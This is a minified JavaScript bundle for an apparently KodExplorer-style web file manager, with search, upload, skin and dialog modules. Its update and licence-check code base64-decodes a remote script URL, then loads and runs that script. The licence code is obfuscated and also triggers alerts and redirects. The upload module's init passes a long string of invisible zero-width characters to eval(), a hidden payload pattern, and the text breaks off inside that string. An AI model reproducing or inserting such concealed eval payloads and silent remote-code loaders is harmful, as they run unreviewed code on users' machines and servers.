s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n=''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),n},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l(),$("#search_ext").tooltip({placement:"bottom",html:!0}),$("#search_path").tooltip({placement:"bottom",html:!0,title:function(){return $("#search_path").val()}})):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e) -})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .tips").tooltip({placement:"bottom"}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌